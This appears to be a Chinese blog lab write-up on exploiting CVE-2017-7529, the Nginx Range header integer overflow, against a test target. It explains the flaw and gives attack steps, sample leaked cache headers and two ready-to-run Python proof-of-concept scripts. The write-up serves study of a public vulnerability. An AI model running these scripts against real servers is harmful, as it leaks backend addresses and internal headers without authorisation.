CVE-2017-7529 Nginx Range头整数溢出漏洞利用总结

漏洞信息

项目 内容
CVE编号 CVE-2017-7529
影响版本 Nginx 0.5.6 ~ 1.13.2
靶场版本 Nginx 1.13.2
漏洞类型 Range头整数溢出 → 信息泄露
靶机地址 http://192.168.229.60:8080

漏洞原理

Nginx作为反向代理时,通常会缓存后端返回的静态文件。缓存文件的结构如下:

复制代码
[文件头元数据] [HTTP响应头] [HTTP响应体]
                             ↑ 正常只返回这里

Nginx的range filter模块在处理HTTP请求头中的Range字段时存在整数溢出漏洞。当构造包含超大负数Range头时,Nginx的偏移计算产生整数溢出,导致start位置变成负数,从而越界读取到响应体之前的缓存元数据和HTTP响应头。

复制代码
正常计算:start = 文件长度 - end  →  正值
漏洞计算:start = 文件长度 - (-9223372036854773979)
                                      ↓
                              整数溢出 → 负数偏移
                                      ↓
                          读取到文件头 + 响应头
  • Nginx 的 startendint64_t 类型

  • 构造 Range: bytes=-X, -超大负数 → 溢出后 start 变成负数

  • Nginx 错误地将可读取范围扩展到了缓存文件的头部区域

  • 敏感信息(后端地址、缓存KEY、内部头)被泄露

攻击步骤

Step 1:访问目标使其缓存

先用正常请求访问一次,让 Nginx 把页面缓存下来:

复制代码
curl -s http://192.168.229.60:8080/ > /dev/null

Step 2:运行漏洞POC

复制代码
python3 poc.py http://192.168.229.60:8080/

Step 3:解析泄露数据

成功读取到缓存文件头部的敏感信息:

复制代码
Content-Range: bytes -9223372036854773979-611/612
​
-- 泄露内容 --
KEY: http://127.0.0.1:8081/
                      ↑ 后端真实地址泄露
HTTP/1.1 200 OK
Server: nginx/1.13.2
Date: Sun, 14 Jun 2026 14:45:07 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 612
Last-Modified: Tue, 27 Jun 2017 13:40:50 GMT
ETag: "59526062-264"
Accept-Ranges: bytes

注意: -9223372036854773979 这个巨负的数就是整数溢出的结果,Nginx 把它解析成了负数偏移,导致越界向前读取缓存文件头部。

Python版完整利用脚本

复制代码
import requests
​
# CVE-2017-7529 POC for Nginx Integer Overflow
# Usage: python3 poc.py http://target:8080/
​
target = "http://192.168.229.60:8080/"
​
# 第一次请求:让Nginx缓存
requests.get(target).content
​
# 第二次请求:利用Range头触发整数溢出
headers = {
    "Range": "bytes=-605, -9223372036854774591"
}
​
r = requests.get(target, headers=headers)
​
# 解析multipart响应
for part in r.text.split("--"):
    if "Content-Range:" in part and "-922337203685477" in part:
        print("=== 泄露的缓存头部信息 ===")
        # 提取Content-Range后面的内容
        lines = part.strip().split("\n")
        for line in lines:
            if "KEY:" in line or "Server:" in line or "Date:" in line:
                print(line)
        # 也打印完整内容
        print("\n=== 完整泄露数据 ===")
        print(part.strip())

POC源码解析(来自vulhub)

复制代码
import requests
​
url = "http://192.168.229.60:8080/"
# 关键:第一个Range值控制正常读取范围
#       第二个Range值是超大的负数,触发整数溢出
#       65536是经过计算的偏移值,可以微调
#       -9223372036854774591 ≈ -(2^63 - 2^12)
​
headers = {
    "User-Agent": "Mozilla/5.0",
    "Range": "bytes=-65536, -9223372036854774591"
}
​
r = requests.get(url, headers=headers)
print(r.text)

关键要点总结

  1. 超大负数Range值是漏洞核心,用于触发整数溢出

  2. ✅ 第一次访问让Nginx缓存页面是前提条件

  3. ✅ 成功读到 KEY: 字段 → 泄露后端真实地址(127.0.0.1:8081)

  4. ✅ 成功读到 HTTP响应头 → 泄露服务器版本、时间戳等信息

  5. ✅ 读取的乱码部分是Nginx缓存文件的内部文件头元数据

  6. ⚠️ 偏移值可以调整(如poc.py中的605),不同文件可能需要微调才能命中缓存头部位置

相关推荐
三84411 分钟前
文件查找/文件压缩/解压缩
linux·运维·服务器
小猪写代码13 分钟前
Linux 管道(Pipeline)作业
linux·运维·服务器
桌面运维家33 分钟前
如何用半缓存云桌面将服务器硬盘容量扩展至本地终端?
运维·服务器·缓存
激情的学姐39 分钟前
【大型网站技术实践】初级篇:借助Nginx搭建反向代理服务器
运维·nginx
ai_coder_ai1 小时前
编写自动化脚本,在自己后端服务中使用Open Api进行设备相关操作
java·运维·自动化
spider_xcxc2 小时前
Redis 数据库高质量实践指南(一)
运维·数据库·redis·oracle·云计算
2501_943782353 小时前
【共创季稿事节】摇骰子:用 ArkTS 实现随机动画与交互反馈
运维·nginx·交互·harmonyos·鸿蒙·鸿蒙系统
l1t3 小时前
在linux和windows中解决duckdb 1.6dev版本输出执行计划报错问题
linux·运维·数据库·windows·duckdb
fei_sun4 小时前
路径MTU发现
linux·运维·网络
Tian_Hang4 小时前
Eclipse Ditto 物模型相关代码
java·运维·服务器·ide·eureka·eclipse